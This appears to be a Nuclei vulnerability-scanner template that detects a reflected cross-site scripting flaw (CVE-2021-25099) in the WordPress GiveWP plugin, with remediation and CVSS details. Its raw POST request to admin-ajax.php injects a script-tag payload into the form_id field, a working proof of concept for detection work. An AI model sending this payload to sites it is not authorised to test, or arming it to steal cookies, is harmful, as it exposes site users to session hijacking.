51 lines
2.3 KiB
YAML
51 lines
2.3 KiB
YAML
id: CVE-2021-25099
|
|
|
|
info:
|
|
name: WordPress GiveWP <2.17.3 - Cross-Site Scripting
|
|
author: theamanrawat
|
|
severity: medium
|
|
description: |
|
|
WordPress GiveWP plugin before 2.17.3 contains a cross-site scripting vulnerability. The plugin does not sanitize and escape the form_id parameter before returning it in the response of an unauthenticated request via the give_checkout_login AJAX action. An attacker can inject arbitrary script in the browser of a user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
|
|
impact: |
|
|
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
|
|
remediation: |
|
|
Update to the latest version of the GiveWP plugin (2.17.3 or higher) to mitigate this vulnerability.
|
|
reference:
|
|
- https://wpscan.com/vulnerability/87a64b27-23a3-40f5-a3d8-0650975fee6f
|
|
- https://wordpress.org/plugins/give/
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-25099
|
|
- https://plugins.trac.wordpress.org/changeset/2659032
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
|
cvss-score: 6.1
|
|
cve-id: CVE-2021-25099
|
|
cwe-id: CWE-79
|
|
epss-score: 0.001
|
|
epss-percentile: 0.40832
|
|
cpe: cpe:2.3:a:givewp:givewp:*:*:*:*:*:wordpress:*:*
|
|
metadata:
|
|
verified: true
|
|
max-request: 1
|
|
vendor: givewp
|
|
product: givewp
|
|
framework: wordpress
|
|
tags: cve2021,cve,xss,wp,give,wordpress,wp-plugin,unauth,wpscan,givewp
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /wp-admin/admin-ajax.php HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
|
|
|
|
action=give_checkout_login&form_id=xxxxxx"><script>alert(document.domain)</script>
|
|
|
|
matchers:
|
|
- type: dsl
|
|
dsl:
|
|
- 'status_code == 200'
|
|
- 'contains(content_type, "text/html")'
|
|
- 'contains(body, "<script>alert(document.domain)</script>")'
|
|
- 'contains(body, "give_user_login")'
|
|
condition: and
|
|
# digest: 490a0046304402207b5ea452c8e64b88a3670bcc196224377224b77ca549f4bfcb2e43d5eca60b4a022010a4ce647c568b707800a1e1e0caf0d1d0451fdd226ab8c25d4f294a77c717f8:922c64590222798bb761d5b6d8e72950 |